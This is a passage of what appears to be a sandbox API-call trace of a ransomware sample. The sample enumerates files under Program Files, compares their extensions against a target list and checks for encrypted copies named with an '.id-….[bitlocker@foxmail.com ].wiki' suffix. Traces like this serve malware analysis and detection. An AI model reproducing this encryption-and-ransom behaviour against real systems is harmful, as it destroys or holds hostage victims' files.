Files\\System\\ado\\msader15.dll") returned 53 [0149.847] lstrlenW (lpString=".doc") returned 4 [0149.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString=".docx") returned 5 [0149.847] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0149.847] lstrlenW (lpString=".pdf") returned 4 [0149.847] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString=".xls") returned 4 [0149.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString=".xlsx") returned 5 [0149.847] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0149.847] lstrlenW (lpString=".ppt") returned 4 [0149.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.847] lstrlenW (lpString=".zip") returned 4 [0149.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString=".rar") returned 4 [0149.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.847] lstrlenW (lpString=".bz2") returned 4 [0149.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.847] lstrlenW (lpString=".7z") returned 3 [0149.847] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.847] lstrlenW (lpString=".dbf") returned 4 [0149.847] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.847] lstrlenW (lpString=".1cd") returned 4 [0149.847] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0149.848] lstrlenW (lpString=".jpg") returned 4 [0149.848] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.848] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0149.848] lstrlenW (lpString="msado15.dll") returned 11 [0149.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0150.524] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1499136) returned 1 [0150.524] CloseHandle (hObject=0x32c) returned 1 [0150.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0150.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString=".doc") returned 4 [0150.525] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString=".docx") returned 5 [0150.525] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0150.525] lstrlenW (lpString=".pdf") returned 4 [0150.525] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString=".xls") returned 4 [0150.525] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString=".xlsx") returned 5 [0150.525] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0150.525] lstrlenW (lpString=".ppt") returned 4 [0150.525] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString=".zip") returned 4 [0150.525] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString=".rar") returned 4 [0150.525] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.525] lstrlenW (lpString=".bz2") returned 4 [0150.525] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.525] lstrlenW (lpString=".7z") returned 3 [0150.525] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString=".dbf") returned 4 [0150.525] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString=".1cd") returned 4 [0150.525] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.525] lstrlenW (lpString=".jpg") returned 4 [0150.525] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString=".doc") returned 4 [0150.526] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString=".docx") returned 5 [0150.526] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0150.526] lstrlenW (lpString=".pdf") returned 4 [0150.526] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString=".xls") returned 4 [0150.526] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString=".xlsx") returned 5 [0150.526] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0150.526] lstrlenW (lpString=".ppt") returned 4 [0150.526] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString=".zip") returned 4 [0150.526] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString=".rar") returned 4 [0150.526] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.526] lstrlenW (lpString=".bz2") returned 4 [0150.526] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.526] lstrlenW (lpString=".7z") returned 3 [0150.526] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString=".dbf") returned 4 [0150.526] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString=".1cd") returned 4 [0150.526] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0150.526] lstrlenW (lpString=".jpg") returned 4 [0150.526] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.527] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0150.527] lstrlenW (lpString="ieinstal.exe") returned 12 [0150.527] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0150.650] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=269824) returned 1 [0150.650] CloseHandle (hObject=0x330) returned 1 [0150.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0150.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0150.650] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.650] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.650] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.650] lstrlenW (lpString=".doc") returned 4 [0150.651] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.651] lstrlenW (lpString=".docx") returned 5 [0150.651] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0150.651] lstrlenW (lpString=".pdf") returned 4 [0150.651] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString=".xls") returned 4 [0150.651] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString=".xlsx") returned 5 [0150.651] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0150.651] lstrlenW (lpString=".ppt") returned 4 [0150.651] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.651] lstrlenW (lpString=".zip") returned 4 [0150.651] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString=".rar") returned 4 [0150.651] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString=".bz2") returned 4 [0150.651] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.651] lstrlenW (lpString=".7z") returned 3 [0150.651] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.651] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.651] lstrlenW (lpString=".dbf") returned 4 [0150.651] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.651] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.651] lstrlenW (lpString=".1cd") returned 4 [0150.651] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.651] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.651] lstrlenW (lpString=".jpg") returned 4 [0150.651] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.651] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString=".doc") returned 4 [0150.652] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.652] lstrlenW (lpString=".docx") returned 5 [0150.652] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0150.652] lstrlenW (lpString=".pdf") returned 4 [0150.652] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.652] lstrlenW (lpString=".xls") returned 4 [0150.652] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.652] lstrlenW (lpString=".xlsx") returned 5 [0150.652] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0150.652] lstrlenW (lpString=".ppt") returned 4 [0150.652] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.652] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString=".zip") returned 4 [0150.652] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.652] lstrlenW (lpString=".rar") returned 4 [0150.652] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.652] lstrlenW (lpString=".bz2") returned 4 [0150.652] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.652] lstrlenW (lpString=".7z") returned 3 [0150.652] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.652] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString=".dbf") returned 4 [0150.652] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.652] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString=".1cd") returned 4 [0150.652] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.652] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0150.652] lstrlenW (lpString=".jpg") returned 4 [0150.652] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.653] Sleep (dwMilliseconds=0x64) [0150.757] Sleep (dwMilliseconds=0x64) [0150.863] Sleep (dwMilliseconds=0x64) [0150.987] Sleep (dwMilliseconds=0x64) [0151.114] Sleep (dwMilliseconds=0x64) [0151.225] Sleep (dwMilliseconds=0x64) [0151.354] Sleep (dwMilliseconds=0x64) [0151.477] Sleep (dwMilliseconds=0x64) [0151.581] Sleep (dwMilliseconds=0x64) [0151.713] Sleep (dwMilliseconds=0x64) [0152.039] Sleep (dwMilliseconds=0x64) [0152.206] Sleep (dwMilliseconds=0x64) [0152.348] Sleep (dwMilliseconds=0x64) [0152.513] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0152.513] lstrlenW (lpString="EAST_01.MID") returned 11 [0152.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0154.460] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6165) returned 1 [0154.460] CloseHandle (hObject=0x338) returned 1 [0154.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0154.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0154.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.682] lstrlenW (lpString=".doc") returned 4 [0154.682] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0154.682] lstrlenW (lpString=".docx") returned 5 [0154.682] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0154.682] lstrlenW (lpString=".pdf") returned 4 [0154.682] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0154.682] lstrlenW (lpString=".xls") returned 4 [0154.682] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0154.682] lstrlenW (lpString=".xlsx") returned 5 [0154.682] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0154.683] lstrlenW (lpString=".ppt") returned 4 [0154.683] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString=".zip") returned 4 [0154.683] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0154.683] lstrlenW (lpString=".rar") returned 4 [0154.683] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0154.683] lstrlenW (lpString=".bz2") returned 4 [0154.683] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0154.683] lstrlenW (lpString=".7z") returned 3 [0154.683] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString=".dbf") returned 4 [0154.683] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString=".1cd") returned 4 [0154.683] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString=".jpg") returned 4 [0154.683] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.683] lstrlenW (lpString=".doc") returned 4 [0154.683] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0154.683] lstrlenW (lpString=".docx") returned 5 [0154.683] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0154.683] lstrlenW (lpString=".pdf") returned 4 [0154.683] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0154.683] lstrlenW (lpString=".xls") returned 4 [0154.683] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0154.684] lstrlenW (lpString=".xlsx") returned 5 [0154.684] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0154.684] lstrlenW (lpString=".ppt") returned 4 [0154.684] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0154.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.684] lstrlenW (lpString=".zip") returned 4 [0154.684] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0154.684] lstrlenW (lpString=".rar") returned 4 [0154.684] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0154.684] lstrlenW (lpString=".bz2") returned 4 [0154.684] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0154.684] lstrlenW (lpString=".7z") returned 3 [0154.684] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0154.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.684] lstrlenW (lpString=".dbf") returned 4 [0154.684] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0154.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.684] lstrlenW (lpString=".1cd") returned 4 [0154.684] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0154.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0154.684] lstrlenW (lpString=".jpg") returned 4 [0154.684] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0154.684] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0154.684] lstrlenW (lpString="FALL_01.MID") returned 11 [0154.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0156.370] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=4846) returned 1 [0156.370] CloseHandle (hObject=0x338) returned 1 [0156.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0156.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0156.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.575] lstrlenW (lpString=".doc") returned 4 [0156.575] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0156.575] lstrlenW (lpString=".docx") returned 5 [0156.575] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0156.575] lstrlenW (lpString=".pdf") returned 4 [0156.575] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0156.575] lstrlenW (lpString=".xls") returned 4 [0156.575] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0156.575] lstrlenW (lpString=".xlsx") returned 5 [0156.575] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0156.575] lstrlenW (lpString=".ppt") returned 4 [0156.575] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0156.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.575] lstrlenW (lpString=".zip") returned 4 [0156.575] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0156.575] lstrlenW (lpString=".rar") returned 4 [0156.576] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0156.576] lstrlenW (lpString=".bz2") returned 4 [0156.576] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0156.576] lstrlenW (lpString=".7z") returned 3 [0156.576] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString=".dbf") returned 4 [0156.576] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString=".1cd") returned 4 [0156.576] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString=".jpg") returned 4 [0156.576] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString=".doc") returned 4 [0156.576] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0156.576] lstrlenW (lpString=".docx") returned 5 [0156.576] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0156.576] lstrlenW (lpString=".pdf") returned 4 [0156.576] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0156.576] lstrlenW (lpString=".xls") returned 4 [0156.576] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0156.576] lstrlenW (lpString=".xlsx") returned 5 [0156.576] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0156.576] lstrlenW (lpString=".ppt") returned 4 [0156.576] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0156.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.576] lstrlenW (lpString=".zip") returned 4 [0156.577] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0156.577] lstrlenW (lpString=".rar") returned 4 [0156.577] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0156.577] lstrlenW (lpString=".bz2") returned 4 [0156.577] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0156.577] lstrlenW (lpString=".7z") returned 3 [0156.577] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0156.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.577] lstrlenW (lpString=".dbf") returned 4 [0156.577] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0156.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.577] lstrlenW (lpString=".1cd") returned 4 [0156.577] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0156.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0156.577] lstrlenW (lpString=".jpg") returned 4 [0156.577] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0156.577] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0156.577] lstrlenW (lpString="GRID_01.MID") returned 11 [0156.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25c [0157.646] GetFileSizeEx (in: hFile=0x25c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6331) returned 1 [0157.646] CloseHandle (hObject=0x25c) returned 1 [0157.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0157.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0157.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.793] lstrlenW 